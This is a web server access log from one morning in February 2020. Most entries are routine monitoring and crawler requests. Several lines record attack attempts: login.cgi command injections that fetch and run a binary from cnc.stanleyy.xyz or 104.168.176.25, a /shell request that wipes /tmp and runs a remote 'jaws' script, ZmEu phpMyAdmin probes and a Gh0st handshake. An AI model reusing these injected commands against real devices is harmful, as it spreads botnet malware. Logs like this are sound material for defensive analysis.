212.91.246.72 - - [20/Feb/2020:08:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.88.15.15 - - [20/Feb/2020:08:33:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.133.37.186 - - [20/Feb/2020:08:34:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:08:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [20/Feb/2020:08:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [20/Feb/2020:08:36:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
122.51.192.250 - - [20/Feb/2020:08:36:21 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.192.250 - - [20/Feb/2020:08:36:22 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.192.250 - - [20/Feb/2020:08:36:22 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.192.250 - - [20/Feb/2020:08:36:23 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.192.250 - - [20/Feb/2020:08:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [20/Feb/2020:08:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.252.254.11 - - [20/Feb/2020:08:38:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:08:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.215.167.22 - - [20/Feb/2020:08:44:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:08:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [20/Feb/2020:08:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.196.28.142 - - [20/Feb/2020:08:48:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.5.36.197 - - [20/Feb/2020:08:53:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:08:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.154.26 - - [20/Feb/2020:08:53:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [20/Feb/2020:08:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
66.240.205.34 - - [20/Feb/2020:08:55:07 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [20/Feb/2020:08:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.197.200.113 - - [20/Feb/2020:09:01:18 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
3.87.141.120 - - [20/Feb/2020:09:01:31 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [20/Feb/2020:09:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.209.254.186 - - [20/Feb/2020:09:01:37 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
121.161.99.72 - - [20/Feb/2020:09:01:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:09:01:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:09:01:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:09:02:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:09:02:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:09:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.19.119.10 - - [20/Feb/2020:09:08:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:09:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.131.12 - - [20/Feb/2020:09:11:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:09:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.190.47.170 - - [20/Feb/2020:09:14:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:09:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.235.41.153 - - [20/Feb/2020:09:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:09:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.36.19.82 - - [20/Feb/2020:09:19:26 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [20/Feb/2020:09:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.255.222.10 - - [20/Feb/2020:09:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:09:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.67.27.235 - - [20/Feb/2020:09:26:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:09:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.172.117.170 - - [20/Feb/2020:09:44:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:09:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.8.81.71 - - [20/Feb/2020:09:46:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:09:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.103 - - [20/Feb/2020:09:49:35 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [20/Feb/2020:09:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.51.117.82 - - [20/Feb/2020:09:52:47 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:09:52:48 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:09:52:49 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:09:52:50 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:09:52:50 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:09:52:51 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [20/Feb/2020:09:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:09:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
